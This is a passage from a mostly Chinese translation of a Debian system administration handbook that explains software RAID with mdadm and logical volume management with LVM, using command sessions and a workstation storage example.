Consistency Policy : none

Name : debian:0  (local to host debian)

UUID : a75ac628:b384c441:157137ac:c04cd98c

Events : 0

Number   Major   Minor   RaidDevice State

0       8        0        0      active sync   /dev/sdb

1       8       16        1      active sync   /dev/sdc

# mkfs.ext4 /dev/md0

mke2fs 1.46.2 (28-Feb-2021)

Discarding device blocks: done

Creating filesystem with 2094592 4k blocks and 524288 inodes

Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem      Size  Used Avail Use% Mounted on

/dev/md0        7.8G   24K  7.4G   1% /srv/raid-0

mdadm --create 命令需要多个参数：要创建卷的名称（/dev/md*，MD 代表 Multiple Device），RAID 级别，磁盘数量（尽管只在 RAID-1 及以上级别时才有意义），以及要使用的物理驱动器。设备创建后，可以像使用普通分区一样，创建文件系统、挂载文件系统等。请注意，我们创建 RAID-0 卷到 md0 只是巧合，阵列的编号不需要与所选的冗余量相关。还可以使用 mdadm 参数如 /dev/md/linear 代替 /dev/md0 来命名 RAID 阵列。

创建 RAID-1 的方式十分类似，仅在创建后有明显差异：

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde

mdadm: Note: this array has metadata at the start and

may not be suitable as a boot device.  If you plan to

store '/boot' on this device please ensure that

your boot-loader understands md/v1.x metadata, or use

--metadata=0.90

mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1%

Continue creating array? y

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:08:09 2022

State : clean, resync

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Consistency Policy : resync

Rebuild Status : 13% complete

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 17

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

1       8       48        1      active sync   /dev/sde

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : clean

[...]

技巧 RAID、磁盘和分区

As illustrated by our example, RAID devices can be constructed out of disk partitions as well, and do not require full disks.

顺序的几个注意事项。首先，mdadm 提示物理磁盘具有不同的大小；这意味着在较大的磁盘上会丢失一些空间，因此需要确认。

更重要的是，注意镜像的状态。RAID 镜像的正常状态是两个磁盘的内容完全相同。但是，在首次创建卷时，不保证是这种情况。因此，RAID 子系统将提供该保证，并且一旦创建 RAID 设备，就会有一个同步阶段。一段时间后（确切的数量将取决于磁盘的实际大小...），RAID 阵列将切换到"active"或"clean"状态。请注意，在重建阶段，镜像处于降级模式，并且无法保证冗余。该风险窗口期间磁盘故障可能导致丢失所有数据。但是，在初始同步之前，大量关键数据很少存储在新创建的 RAID 阵列上。请注意，即使在降级模式下，/dev/md1 也可用，并且可以在其上创建文件系统以及复制的一些数据。

提示 以降级模式启动镜像

有时，当想要启动 RAID-1 镜像时，两个磁盘无法立即可用，例如，因为计划包含的一个磁盘已用于存储要移动到阵列的数据。在这种情况下，可以创建降级的 RAID-1 阵列，将missing 而不是设备文件作为参数之一传递到 mdadm。将数据复制到"镜像"后，旧磁盘可以添加到阵列中。然后进行同步，为我们提供最初想要的冗余。

提示 设置不同步的镜像

RAID-1 卷通常作为新磁盘创建，通常视为空白磁盘。因此，磁盘的实际初始内容不太相关，因为用户只需要知道创建卷后写入的数据，特别是文件系统，以后可以访问。

因此，人们可能会怀疑在创建时同步两个磁盘的要点。为什么要关心只有在写入信息之后才能读取卷区域的内容是否相同呢？

幸运的是，通过将 --assume-clean 选项传递到 mdadm 可以避免同步。但是，在读取初始数据的情况下（例如，如果物理磁盘上已存在文件系统），此选项可能会导致意外，这是默认情况下未启用该选项的原因。

现在，看看当 RAID-1 阵列的一个磁盘发生故障时会发生什么。mdadm 的 --fail 选项，可以模拟这样的磁盘故障：

# mdadm /dev/md1 --fail /dev/sde

mdadm: set /dev/sde faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:15:34 2022

State : clean, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 19

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

-       0        0        1      removed

1       8       48        -      faulty   /dev/sde

卷的内容仍然可以访问（如果已经挂载，应用程序不会注意到任何变化），但数据安全不再得到保证：如果接下来 sdd 磁盘发生故障，数据将丢失。我们希望避免这种风险，因此我们将用新的磁盘 sdf 替换发生故障的磁盘：

# mdadm /dev/md1 --add /dev/sdf

mdadm: added /dev/sdf

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:25:34 2022

State : clean, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Consistency Policy : resync

Rebuild Status : 47% complete

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 39

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      spare rebuilding   /dev/sdf

1       8       48        -      faulty   /dev/sde

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:25:34 2022

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 41

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      active sync   /dev/sdf

1       8       48        -      faulty   /dev/sde

同样，内核会自动触发一个重建阶段，在此期间，卷虽然仍然可以访问，但处于降级模式。重建完成后，RAID 阵列将恢复正常状态。然后，可以告诉系统，sde磁盘即将从阵列中删除，以便最终在两个磁盘上使用经典 RAID 镜像：

# mdadm /dev/md1 --remove /dev/sde

mdadm: hot removed /dev/sde from /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      active sync   /dev/sdf

从此，当服务器下次关闭时，可以物理删除驱动器，当硬件配置允许热插拔时，甚至可以热删除驱动器。此类配置包括某些 SCSI 控制器、大多数 SATA 磁盘以及使用 USB 或 Firewire 操作的外部驱动器。

12.1.1.3. 备份配置

Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde disk failure had been real (instead of simulated) and the system had been restarted without removing this sde disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. In reality this leads to the RAID starting from the individual disks alternately - distributing the data also alternately, depending on which disk started the RAID in degraded mode Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1 on the old server, and the new server already has an md1, one of the mirrors would be renamed.

因此，备份配置非常重要，如果仅供参考的话。这样做的标准方式是编辑/etc/mdadm/mdadm.conf文件，下面列出了一个示例：

例 12.1. mdadm 配置文件

# mdadm.conf

#

# !NB! Run update-initramfs -u after updating this file.

# !NB! This will ensure that initramfs has an uptodate copy.

#

# Please refer to mdadm.conf(5) for information about this file.

#

# by default (built-in), scan all partitions (/proc/partitions) and all

# containers for MD superblocks. alternatively, specify devices to scan, using

# wildcards if desired.

DEVICE /dev/sd*

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

# definitions of existing MD arrays

ARRAY /dev/md/0  metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0

ARRAY /dev/md/1  metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

# This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

最有用的详细信息之一是 DEVICE 选项，它列出了系统将在启动时自动查找 RAID 卷组件的设备。在我们的示例中，我们用设备文件的显式列表替换了默认值partitions containers，因为我们选择对某些卷使用整个磁盘，而不是仅使用分区。

示例中的最后两行是允许内核安全地选择分配给哪个阵列的卷号。存储在磁盘本身的元数据足以重新组装卷，但无法确定卷号（以及匹配的 /dev/md*名称）。

幸运的是，这些行可以自动生成：

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md/0  metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0

ARRAY /dev/md/1  metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

最后两行的内容不依赖于卷中包含的磁盘列表。因此，在用新磁盘替换故障磁盘时，不需要重新生成这些行。另一方面，在创建或删除 RAID 阵列时，必须注意更新文件。

12.1.2. LVM（逻辑卷管理）

LVM Logical Volume Manager（逻辑卷管理器），在物理支持上实现逻辑卷的另一种方式，侧重于提高灵活性而不是提高可靠性。就应用程序而言，LVM 允许透明地更改逻辑卷；如可以添加新磁盘、将数据迁移到磁盘并删除旧磁盘，而无需卸载卷。

12.1.2.1. LVM 概念

这种灵活性是由涉及三个概念的抽象级别实现的。

首先，PV（Physical Volume，物理卷）是最接近硬件的实体：它可以是磁盘上的分区、完整磁盘，甚至任何其他块设备（包括 RAID 阵列）。请注意，当物理元素设置为 LVM 的 PV 时，应仅通过 LVM 访问它，否则系统会混淆。

许多 PV 可以在 VG（Volume Group，卷组）中进行群集，可以与虚拟磁盘和可扩展磁盘进行比较。VG 是抽象的，不会显示在 /dev 中的设备文件中，因此没有直接使用它们的风险。

第三种对象是LV（Logical Volume，逻辑卷），是VG的一个区块；如果我们保持VG作为磁盘类比，LV则类比一个分区。LV 显示为具有 /dev 中条目的块设备，它可用作任何其他物理分区（通常用于托管文件系统或交换空间）。

重要的是，VG拆分为 LV 完全独立于其物理组件（PV）。只有单个物理组件（例如磁盘）的 VG 可以拆分为十几个逻辑卷；同样，VG 可以使用多个物理磁盘，并显示为单个大型逻辑卷。显然，唯一的约束是分配给 GV 的总大小不能大于卷组中 PV 的总容量。

但是，在 VG 的物理组件之间具有某种同质性，并将 VG 拆分为具有类似使用模式的逻辑卷通常有意义。例如，如果可用硬件包括快速磁盘和较慢的磁盘，则快速磁盘可以聚类到一个 VG 中，而慢速磁盘可以聚类到另一个 VG 中；然后，第一个区块可以分配给需要快速数据访问的应用程序，而第二个块将保留为要求较低的任务。

在任何情况下，请记住，LV 不是特别附加到任何一个 PV。可以影响来自 LV 的数据的物理存储位置，但日常使用不需要这种可能性。相反：当 VG 的物理组件集发生变化时，与特定 LV 对应的物理存储位置可以跨磁盘迁移（当然，在分配给 VG 的PV 中）。

12.1.2.2. 搭建 LVM

现在，我们一步一步地遵循为典型用例设置 LVM 的过程：我们希望简化复杂的存储情况。这种情况通常发生在一些长期和错综复杂的临时措施的历史之后。为了便于说明，我们将考虑一个存储需求随着时间而变化的服务器，最终进入一个可用分区拆分为几个部分使用的磁盘中。更具体地而言，有以下分区可用：

- sdb 磁盘，sdb2 分区，4 GB;

- sdc 磁盘，sdc3 分区，3 GB;

- sdd 磁盘，4 GB，完全可用;

- sdf 磁盘，sdf1 分区，4 GB; 以及 sdf2 分区，5 GB。

此外，假设磁盘 sdb 和 sdf 色速度比另外两个更快。

我们的目标是为3个不同的应用程序设置3个逻辑卷：需要 5 GB 存储空间的文件服务器、数据库（1 GB）和一些备份空间 （12 GB）。前两个需要良好的性能，但备份在访问速度方面不太重要。所有这些限制都阻止使用分区本身；使用 LVM 可以抽象设备的物理大小，因此唯一的限制是总可用空间。

所需的工具在 lvm2 软件包及其依赖项中。安装 LVM 时，需要三个步骤，与三个级别的概念相匹配。

首先，使用 pvcreate 准备物理卷：

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created.

# pvdisplay

"/dev/sdb2" is a new physical volume of "4.00 GiB"

--- NEW Physical volume ---

PV Name               /dev/sdb2

VG Name

PV Size               4.00 GiB

Allocatable           NO

PE Size               0

Total PE              0

Free PE               0

Allocated PE          0

PV UUID               yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created.

Physical volume "/dev/sdd" successfully created.

Physical volume "/dev/sdf1" successfully created.

Physical volume "/dev/sdf2" successfully created.

# pvdisplay -C

PV         VG Fmt  Attr PSize PFree

/dev/sdb2     lvm2 ---  4.00g 4.00g

/dev/sdc3     lvm2 ---  3.00g 3.00g

/dev/sdd      lvm2 ---  4.00g 4.00g

/dev/sdf1     lvm2 ---  4.00g 4.00g

/dev/sdf2     lvm2 ---  5.00g 5.00g

到目前为止，都很好；请注意，可以在完整磁盘以及其各个分区上设置 PV。如上所述，pvdisplay列出了现有的PV，有两种输出格式。

现在，使用 vgcreate 将这些物理元素组合。将快速磁盘放到一个VG vg_critical；其他 VG vg_normal 包含较慢的元素。

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name               vg_critical

System ID

Format                lvm2

Metadata Areas        2

Metadata Sequence No  1

VG Access             read/write

VG Status             resizable

MAX LV                0

Cur LV                0

Open LV               0

Max PV                0

Cur PV                2

Act PV                2

VG Size               7.99 GiB

PE Size               4.00 MiB

Total PE              2046

Alloc PE / Size       0 / 0

Free  PE / Size       2046 / 7.99 GiB

VG UUID               JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   2   0   0 wz--n-   7.99g   7.99g

vg_normal     3   0   0 wz--n- <11.99g <11.99g

同样，命令相当简单（vgdisplay 有两种输出格式）。请注意，将同一物理磁盘的两个分区用于两个不同的 VG 是有可能的。 请注意，我们使用 vg_ 前缀来命名我们的 VG，但它只不过是一个约定。

我们现在有两个"虚拟磁盘"，大小分别约为 8 GB 和 12 GB。现在，让我们将它们分成"虚拟分区"（LV）。这涉及到lvcreate命令，以及稍微复杂的语法：

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created.

# lvdisplay

--- Logical volume ---

LV Path                /dev/vg_critical/lv_files

LV Name                lv_files

VG Name                vg_critical

LV UUID                Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd

LV Write Access        read/write

LV Creation host, time debian, 2022-03-01 00:17:46 +0100

LV Status              available

# open                 0

LV Size                5.00 GiB

Current LE             1280

Segments               2

Allocation             inherit

Read ahead sectors     auto

- currently set to     256

Block device           253:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created.

# lvcreate -n lv_backups -L 11.98G vg_normal

Rounding up size to full physical extent 11.98 GiB

Rounding up size to full physical extent 11.98 GiB

Logical volume "lv_backups" created.

# lvdisplay -C

LV         VG          Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_base    vg_critical -wi-a-----  1.00g

lv_files   vg_critical -wi-a-----  5.00g

lv_backups vg_normal   -wi-a----- 11.98g

创建逻辑卷时需要两个参数；必须传递到 lvcreate 作为选项。使用 -n 选项指定要创建的 LV 的名称，通常使用 -L 选项指定其大小。当然，还需要告诉命令要对哪个 VG 进行操作，作为命令行上的最后一个参数。

进阶 lvcreate 选项

lvcreate 命令有几个选项，允许调整LV的创建方式。

先描述一下 -l 选项，其中 LV 的大小可以作为多个块（而不是上面使用的"人类"单位）。这些块（用 LVM 术语表示是 PE，physical extents，物理区域）是 PV 中存储空间的连续单位，它们不能跨 LV 拆分。当想要精确地定义 LV 的存储空间（例如使用完全可用空间）时，-l 选项可能比 -L 更可取。

也可以提示 LV 的物理位置，以便其扩展存储区到特定的 PV 上（当然，在分配给 VG 的 PV 内）。由于我们知道 sdb比 sdf 快，因此如果我们想要为数据库服务器提供与文件服务器更好的性能，可能希望将 lv_base 存储在那里。命令行为：lvcreate -n lv_base -L 1G vg_critical /dev/sdb2。请注意，如果 PV 没有足够的可用区域，此命令可能会失败。在上面的示例中的情况，可能需要创建 lv_base 到 lv_files 之前 – 或者使用 pvmove 命令在 sdb2 上释放一些空间。

逻辑卷创建成功，最终作为块设备文件 /dev/mapper/：

# ls -l /dev/mapper

total 0

crw------- 1 root root 10, 236 Mar  1 00:17 control

lrwxrwxrwx 1 root root       7 Mar  1 00:19 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root       7 Mar  1 00:17 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root       7 Mar  1 00:19 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---- 1 root disk 253, 0 Mar  1 00:17 /dev/dm-0

brw-rw---- 1 root disk 253, 1 Mar  1 00:19 /dev/dm-1

brw-rw---- 1 root disk 253, 2 Mar  1 00:19 /dev/dm-2

注释 自动检测 LVM 卷

当计算机启动时，lvm2-activation 系统服务单元执行 vgchange-aay 以"激活"卷组：扫描可用设备；已初始化为 LVM 物理卷的卷将注册到 LVM 子系统中，那些属于卷组的数据将组装，相关逻辑卷将启动并可用。因此，在创建或修改 LVM 卷时无需编辑配置文件。

但是请注意，LVM 元素（物理和逻辑卷以及卷组）的布局备份到 /etc/lvm/backup，这对于出现问题（或只是看一下）非常有用。

为了使事情变得更容易，在与 VG 匹配的目录中还创建了方便的符号链接：

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 Mar  1 00:19 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 Mar  1 00:17 lv_files -> ../dm-0

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 Mar  1 00:19 lv_backups -> ../dm-2

然后，LV 可以与标准分区完全一样使用：

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.46.2 (28-Feb-2021)

Discarding device blocks: done

Creating filesystem with 3140608 4k blocks and 786432 inodes

Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups   12G   24K   12G   1% /srv/backups

# [...]

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2

/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2

/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2

从应用程序的角度来看，多个小分区现在已经抽象成一个大的 12 GB 卷，具有更友好的名称。

12.1.2.3. LVM 的发展

尽管聚合分区或物理磁盘的能力很方便，但这不是 LVM 带来的主要优势。随着时间推移，当需求发生变化时，它带来的灵活性尤其值得注意。在以上示例中，我们假设必须存储新的大型文件，并且专用于文件服务器的 LV 太小，无法包含它们。由于我们尚未使用整个 vg_critical 的可用空间，我们可以扩展 lv_files。为此，将使用命令 lvresize，然后使用 resize2fs 相应地调整文件系统：

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  4.9G  4.2G  485M  90% /srv/files

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 5.00g

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1.99g

# lvresize -L 6G vg_critical/lv_files

Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents).

Logical volume vg_critical/lv_files successfully resized.

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 6.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.46.2 (28-Feb-2021)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old_desc_blocks = 1, new_desc_blocks = 1

The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long.

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  5.9G  4.2G  1.5G  75% /srv/files

注意 调整文件系统的大小

并非所有文件系统都可以在线调整大小；因此，调整卷的大小可能需要先卸载文件系统，然后重新挂载文件系统。当然，如果想要缩小分配给 LV 的空间，则必须先缩小文件系统；当要增加大小则顺序将相反：逻辑卷必须在其上的文件系统之前增大。这相当简单，因为文件系统的大小绝不能大于它所在的块设备（无论该设备是物理分区还是逻辑卷）。

ext3、ext4 和 xfs 文件系统可以在线扩展，无需卸载；缩小则需要卸载。reiserfs 文件系统允许在线调整大小。较旧的 ext2 文件系统不允许在线调整大小，始终需要卸载。

我们可以用类似的方式扩展托管数据库的卷，除非已达到 VG 的可用空间限制：

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  974M  883M   25M  98% /srv/base

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1016.00m

No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb3 partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:

# pvcreate /dev/sdb3

Physical volume "/dev/sdb3" successfully created.

# vgextend vg_critical /dev/sdb3

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   3   2   0 wz--n- <12.99g <5.99g

# lvresize -L 2G vg_critical/lv_base

[...]

# resize2fs /dev/vg_critical/lv_base

[...]

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  2.0G  886M  991M  48% /srv/base

进阶高级 LVM

LVM 还有更高级的用途，其中许多细节可以手动指定。例如，管理员可以调整组成物理卷和逻辑卷的块的大小，以及它们的物理布局。也可以跨 PV 移动块，例如，调整性能，或者在需要从 VG 中提取相应的物理磁盘（将其转移到另一个 VG 或将其从 LVM 中完全删除）时释放 PV。描述这些命令的手册页通常清晰而详细。较好的入口是 lvm(8) 手册页。

12.1.3. RAID 还是 LVM？

RAID 和 LVM 都带来了无可争辩的优势，只要将台式计算机的一个硬盘保留，而使用模式不会随着时间而变化。然而，RAID 和 LVM 的目标不同，因此有理由怀疑应该采用哪一个。最适当的答案当然取决于当前和可预见的要求。

有几个简单的案例，但不是真实的情况。如果要求是保护数据免受硬件故障的影响，那么很明显， 在冗余磁盘阵列上设置 RAID，因为 LVM 并没有真正解决此问题。另一方面，如果需要一种灵活的存储方案，其中卷独立于磁盘的物理布局，RAID 不会帮上什么忙，LVM 将是自然的选择。

注释 如果性能很重要…

If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.

第三个值得注意的用例是，只想将两个磁盘聚合到一个卷中，或者出于性能原因，或者有一个比任何可用磁盘都大的文件系统。可以通过 RAID-0（甚至线性 RAID）和 LVM 卷解决此情况。在这种情况下，除非存在额外的限制（例如计算机仅要与其余计算机保持一致使用 RAID，通常选择是配置 LVM。初始设置几乎要复杂得多，如果需求发生变化或需要添加新磁盘，LVM 带来的复杂性略有增加，弥补 LVM 带来的额外灵活性。

当然，还有非常有趣的用例，即存储系统既需要抵抗硬件故障，又需要灵活地进行卷分配。RAID 和 LVM 都无法自己满足这两个要求；不管怎样，这是我们同时使用这两个的地方 — 或者更确切地说，一个放在另一个上面。自 RAID 和 LVM 成熟以来，这一方案已完全成为标准，其方案是首先通过将磁盘分组到少量大型 RAID 阵列中，然后使用这些 RAID 阵列作为 LVM 物理卷来确保数据冗余；然后，逻辑分区将从这些 LV 中配置为文件系统。此设置的卖点是，当磁盘发生故障时，只需重建少量 RAID 阵列，从而减少管理员用于恢复的时间。

Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited video clips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.

RAID-1 和 LVM 组合在一起以满足这些条件。磁盘连接到两个不同的 SATA 控制器，以优化并行访问并降低同时发生故障的风险，因此它们显示为 sda 和 sdc。它们沿以下方案进行分区：

# sfdisk -l /dev/sda

Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors

Disk model: SAMSUNG MZ7LM960

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: gpt

Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012

Device         Start        End   Sectors   Size Type

/dev/sda1        2048       4095      2048     1M BIOS boot

/dev/sda2        4096  100667391 100663296    48G Linux RAID

/dev/sda3   100667392  134221823  33554432    16G Linux RAID

/dev/sda4   134221824  763367423 629145600   300G Linux RAID

/dev/sda5   763367424 1392513023 629145600   300G Linux RAID

/dev/sda6  1392513024 1875384974 482871951 230.3G Linux LVM

- The first partitions of both disks are BIOS boot partitions.

- The next two partitions sda2 and sdc2 (about 48 GB) are assembled into a RAID-1 volume, md0. This mirror is directly used to store the root filesystem.

- The sda3 and sdc3 partitions are assembled into a RAID-0 volume, md1, and used as swap partition, providing a total 32 GB of swap space. Modern systems can provide plenty of RAM and our system won't need hibernation. So with this amount added, our system will unlikely run out of memory.

- The sda4 and sdc4 partitions, as well as sda5 and sdc5, are assembled into two new RAID-1 volumes of about 300 GB each, md2 and md3. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid volume group. This VG thus contains about 600 GB of safe space.

- The remaining partitions, sda6 and sdc6, are directly used as physical volumes, and assigned to another VG called vg_bulk, which therefore ends up with roughly 460 GB of space.

创建 VG 后，可以非常灵活地对 VG 进行分区。必须记住，即使其中一个磁盘故障，vg_raid 中创建的 LV 都会保留，而在 vg_bulk 中创建的 LV 则不会保留；另一方面，后者将并行分配给两个磁盘，这允许大文件有更高的读取或写入速度。

因此，我们将在 vg_raid 中创建 lv_var 和 lv_home，以存放对应的文件系统；另一个大型LV lv_movies，将用于存放编辑后的视频。另一个 VG 将拆分为 lv_rushes，用于直接保存数字摄像机中输出的数据，lv_tmp 存放临时文件。工作区的位置是一个不太简单的选择：虽然该卷需要良好的性能，但如果磁盘在编辑会话期间发生故障，是否值得冒失去工作的风险？根据该问题的答案，相关 LV 将在一个 VG 或另一个 VG 上创建。

现在，我们既对重要数据有一些冗余，又在如何跨应用程序之间拆分可用空间方面具有极大的灵活性。

注释 为什么选择三个 RAID-1 卷？

我们本可以只设置一个 RAID-1 卷，物理卷作为 vg_raid。那么， 为什么要创建其中三个呢？

